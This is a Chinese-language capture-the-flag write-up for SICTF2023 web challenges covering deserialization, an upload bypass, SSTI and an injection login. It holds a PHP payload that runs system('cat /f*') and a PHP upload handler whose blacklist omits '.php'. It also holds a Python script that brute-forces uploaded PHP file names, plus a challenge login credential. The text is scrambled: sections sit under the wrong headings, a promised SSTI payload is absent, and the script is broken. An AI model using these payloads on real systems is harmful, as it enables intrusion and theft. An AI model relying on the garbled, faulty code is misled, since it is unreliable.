SICTF2023 web_wp
兔年大吉源码如下
挺基础的一个反序列化，先找pop链：
Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call简单写一下代码：直接打就行了
ezbypass
源码如下：
纸老虎，.php都没限制，就是date加随机数改了个文件名，我们可以在本地搭个一样的来得到文件名，然后往后爆破就能得到上传路径的文件了
这里注意手速一定要快，要不然要多爆破好久，检验代码如下:
code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_($$_);&_=system&__=cat /f*得到文件后，就是常规的getshell了。
SSTI
看页面源代码得到参数?SI,试了下{{1}},报违规字符了，说明{{是被限制了，我们利用{%print %}来绕过这个限制，这题很明显在考一系列的限制过滤
把关键的类都限制了，__class__之类的。我们这里利用jinjia2的特性['__clas''s__']来绕过这个限制，后面的我不想测试，所以都写成这个样子，payload如下:
<?php
@error_reporting(0);
date_default_timezone_set('America/Los_Angeles');
highlight_file(__FILE__);
if (isset($_POST['submit'])){
$file_name = trim($_FILES['upload_file']['name']);
$black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
if (!in_array($file_ext, $black)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
}else {
$msg = '你传啥玩意？？';
}
}
if($is_upload){
echo '呀,（传）进去了欸~';
}
?>还是挺简单的
ezphp
开局一个登录界面，加个单引号，直接有报错，很明显报错注入，中途的测试过程我就省略了，直接上最后的payload:
import requests
url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'
for i in range('本地文件名', '比本地文件名大就行'):
urls = url + str(i) + ".php"
r = requests.get(url)
if r.status_code == 404:
continue
else:
print(urls)https://img2023.cnblogs.com/blog/2746479/202301/2746479-20230119223241505-142137556.png
账号密码admin:0909876qwe222
我们登录进去，随便输点东西，得到源代码:
https://img2023.cnblogs.com/blog/2746479/202301/2746479-20230119223919174-1714249904.png
这样就getshell了
总结
web题不错，适合我这种新手做，这里抨击下ezmisc出题人，以后别这么出了。
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